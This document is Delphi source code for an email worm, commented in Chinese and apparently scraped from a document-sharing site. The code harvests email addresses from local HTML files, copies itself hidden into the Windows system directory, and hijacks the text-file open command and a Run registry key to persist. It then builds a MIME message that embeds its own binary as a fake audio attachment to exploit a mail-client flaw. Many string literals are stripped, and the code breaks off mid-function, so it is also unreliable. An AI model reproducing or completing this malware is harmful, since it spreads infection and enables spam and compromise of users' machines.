qq for pad

2023年4月6日发(作者：document all)unit Unit1;



interface



uses

Windows, Messages, SysUtils, Forms, shellapi,

winsock, Controls, Classes, StdCtrls, ExtCtrls,DateUtils,inifiles;



type

TForm1 = class(TForm)

Timer1: TTimer;

Memo1: TMemo;

procedure Timer1Timer(Sender: TObject);

procedure FormCreate(Sender: TObject);

procedure FormDestroy(Sender: TObject);

private

procedure FindFiles(StartDir: string);

procedure GetEmailAddress(FileName:string);

procedure WriteAddress(Address:string);



{ Private declarations }

public

procedure getinputhandle;

procedure postmsg;

procedure scanemail;

procedure wmwindowsclose(var msg:Tmessage);message wm_queryendsession;

procedure kill98;

{ Public declarations }

end;

type

cs=record

address:array[0..99] of string;

count:integer; //email地址的个数

smtp:pchar; //smtp服务器的地址

account:pchar; //发送信笺时使用的帐号

end;

var

Form1: TForm1;

hWnd11:hwnd;

i,safeid:integer;

talk1,talk2,talk3:string;

const

HELO=HELO#13#10;

MAILFROM=MAIL FROM: %S#13#10;

RCPTTO=RCPT TO: %S#13#10;

DATA=DATA#13#10;

QUIT=QUIT#13#10;

ENDSIGN=#13#10.#13#10;

implementation

// function RegisterServiceProcess (dwProcessID, dwType: DWord) : DWord; stdcall; external ;

{$R *.dfm}

function checkwinver:string;

var

OS :TOSVersionInfo;

begin

ZeroMemory(@OS,SizeOf(OS));

rsionInfoSize:=SizeOf(OS);

GetVersionEx(OS);

Result:=未知;

if formId=VER_PLATFORM_WIN32_NT then begin

case rVersion of

3: Result:=NT;

4: Result:=NT;

5: Result:=2000;

end;

if (rVersion=5) and (rVersion=1) then

Result:=XP;

end else begin

if (rVersion=4) and (rVersion=0) then begin

Result:=95;

if (Trim(ersion)=B) then

Result:=952;

end else

if (rVersion=4) and (rVersion=10) then begin

Result:=98;

if (Trim(ersion)=A) then

Result:=982;

end else

if (rVersion=4) and (rVersion=90) then

Result:=ME;

end;

end;

procedure les(StartDir: string);

var

SR: TSearchRec; //用来储存返回的文件的一些数据

IsFound: Boolean;//做为一个标志

begin

IsFound :=FindFirst(StartDir+*.htm, faAnyFile-faDirectory, SR) = 0;

//在startdir里面查找htm文件

while IsFound do begin

//如果找到htm文件

GetEmailAddress(startdir+);

//这里调用我们自己定义的函数，传递的参数是startdir+也就是该文件的绝对路径。

//注意，这里的函数 GetEmailAddress我们等一下再来描述

IsFound := FindNext(SR) = 0;

//继续查找htm文件，只到标志isfound为false

end;

FindClose(SR);

IsFound := FindFirst(StartDir+*.*, faAnyFile, SR) = 0;

//现在是查找所有的文件

while IsFound do begin

if (( and faDirectory) <> 0) and([1] <> .) then

findfiles(startdir++);

//如果该文件是目录，并且不是"."或者".."，那么就在

该目录里继续查找，也就是在这里递归了。

IsFound := FindNext(SR) = 0;

end;

FindClose(SR);

end;

procedure ilAddress(FileName:string);

var

F:textfile;

S:string;//用来装每次读一行的字符串

Address:string;//得到的email地址

i,Position:integer;

begin

AssignFile(F,FileName);

Reset(f);

while not Eof(f) do

begin

Address:=;

//首先清空address

Readln(f,s);

//读取一行字符串到s中

Position:=Pos(mailto:,S);

//查找首个"mailto:"在s中的地址，如果一行中含有多个"mailto:"则需要你自己修改修改

if Position > 0 then

begin

for i:=Position+7 to length(S) do

//这里position+7里的7表示"mailto:"的长度

begin

if ((Upcase(s)<=#90) and (Upcase(s)>=#64)) or ((S<=#57) and (S>=#48)) or (S=.) then

//判断是否有效字符

Address:=Address+S

else

break;

end;

if (Address<>) and (Pos(@,Address)<>0) then

//如果是有效地址，就把它写到列表中去。

//但是，可能这个地址以前已经存在在这个列表中，

//所以我定义了一个函数WriteAddress来判断是否存在该地址

//如果不存在，就添加到地址列表中去。

WriteAddress(Address);

end;

end;

closefile(f);

end;

procedure ddress(Address:string);

var

F:textfile;

S,Str:string;

CanWrite:boolean;

Path:array[0..255] of char;

begin

GetSystemDirectory(path,256);

//首先取得系统目录，到时候把email地址列表文件保存到这里。

Str:=Strpas(Path);

CanWrite:=true;

AssignFile(F,Str+);

if FileExists(Str+)=false then

begin

//如果不存在，则信建一个文件来存放email地址。

Rewrite(F);

writeln(F,Address);

Closefile(F);

exit;

end else

begin

Reset(f);

while not Eof(F) do

begin

Readln(F,S);

if Address=S then

begin

CanWrite:=false;

break;

end;

end;

CloseFile(F);

end;



if CanWrite then

begin

Append(F);

Writeln(F,Address);

CloseFile(F);

end;

end;

procedure SelfCopy;

var

Path,value:array [0..255] of char;

Hk:HKEY;

S:string;

begin

GetSystemDirectory(Path,256);

//取得系统的路径

s:=strpas(Path);

//转换成字符串

CopyFile(pchar(paramstr(0)),pchar(S+),false);

CopyFile(pchar(paramstr(0)),pchar(S+
),false);

//把自身拷贝到系统目录下为,virus_

SetFileAttributes(pchar(S+),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);

SetFileAttributes(pchar(S+
),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);

//设置刚才的两个文件为系统和隐藏

RegOpenKey(HKEY_CLASSES_ROOT,txtfileshellopencommand,Hk);

value:= %1;

RegSetvalueEx(Hk,,0,REG_SZ,@value,17);

//把virus_和文本文件关联

RegOpenKey(HKEY_LOCAL_MACHINE,SoftwareMicrosoftWindowsCurrentVersionRun,Hk);

value:=;

RegSetvalueEx(Hk,ruin,0,REG_SZ,@value,8);

//设

置开机自动运行

end;

procedure EncodeBASE64(Dest,Source:string);//这里是用两个字符串作为参数，也就两个文件的路径

const

_Code64: String[64] =(ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/);

//这里就是base64编码算法的64个字符

crlf=#13#10;

//定义crlf为回车换行

var

s,d:file;

buf1:array[0..2] of byte;

buf2:array[0..3] of char;

llen,len,pad,i:integer;

begin

assignfile(d,dest); //这里是目标文件

rewrite(d,1);

assignfile(s,source);//这里是原始文件

reset(s,1);

pad:=0;

llen:=0;

while (1=1) do

begin

blockread(s,buf1,3,len);if len=0 then break;

if (len<3) then

begin

pad:=3-len;

for i:=len to 2 do

buf1:=0;

end;

buf2[0]:=_Code64[buf1[0] div 4+1];

buf2[1]:=_Code64[(buf1[0] mod 4)*16 + (buf1[1] div 16)+1];

buf2[2]:=_Code64[(buf1[1] mod 16)*4 + (buf1[2] div 64)+1];

buf2[3]:=_Code64[buf1[2] mod 64+1];

//这里进行了编码

if (pad<>0) then

begin

if pad=2 then buf2[2]:==;

buf2[3]:==;

//输入只有一个或两个字节，那么输出将用等号“=”补足

blockwrite(d,buf2,4);

end

else

begin

blockwrite(d,buf2,4);

end;

inc(llen,4);

if (llen=76) then

begin

blockwrite(d,crlf,2);

//控制每行只写76个字符

llen:=0;

end;

end;

blockwrite(d,crlf,2);

closefile(d);

closefile(s);

end;

function makeboundary:string;

begin

result:=-----=_老同学_+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10));

end;

procedure makeemlfile;

var

f,d:textfile;

path:array[0..255] of char;

boundary1,boundary2,S,str,line:string;

begin

GetSystemDirectory(path,256);

str:=strpas(path);

boundary1:=makeboundary;

boundary2:=makeboundary;

//这里，我们随机的生成了两个标签。

Randomize;

s:=From: +inttostr(Random(100))+@+#13#10//这里你可以换成你自己的email地址

+Subject: 你好！#13#10 //这里，你也可以随机的来生成主题

+X-Priority: 1#13#10 //邮件的优先级，其实可以忽略

+Mime-Version: 1.0#13#10

+Content-Type: multipart/related;boundary="+boundary1+"#13#10#13#10

+--+boundary1+#13#10

+Content-Type: multipart/alternative;boundary="+boundary2+"#13#10

+--+boundary2+#13#10

+Content-Type: text/html#13#10

+Content-Transfer-Encoding: quoted-printable#13#10#13#10

+#13#10

+--+boundary1+#13#10

+Content-Type: audio/x-wav;name=""#13#10 //就是这里audio/x-wav为mime漏洞了。

+Content-Transfer-Encoding: base64#13#10

+Content-ID: #13#10#13#10;

//这里就是填充一些必要的信息。

assignfile(f,str+
);

rewrite(f);

write(f,s);//首先把上面的内容写入文件

CopyFile(pchar(paramstr(0)),pchar(str+
uin_),false);

//因为

不能打开自身进行读写，所以，这里先做一个拷贝文件，我们直接来读拷贝后的文件

encodebase64(str+
uin_,str+
uin_);

deletefile(str+
uin_);

//删除刚才拷贝的临时文件

assignfile(d,str+
uin_);

reset(d);

while not eof(d) do

begin

readln(d,line);

writeln(f,line);

//接着向里面写入我们的病毒代码的base64编码

end;

closefile(d);

deletefile(str+
uin_);

//删除刚才调用base64编码算法生成的临时文件

closefile(f);

end;

function mysizeof(buffer:string):integer; //这个函数用来得到数据的长度

var

i:integer;

begin

for i:=1 to length(buffer) do

if buffer=#10 then break;

mysizeof:=i;

end;



function randomaddress:pchar; //产生一个用户名

begin

Randomize;

result:=pchar(inttostr(random(1000))+@);

end;



function getip(name:pchar):pchar;

type

plongint=^long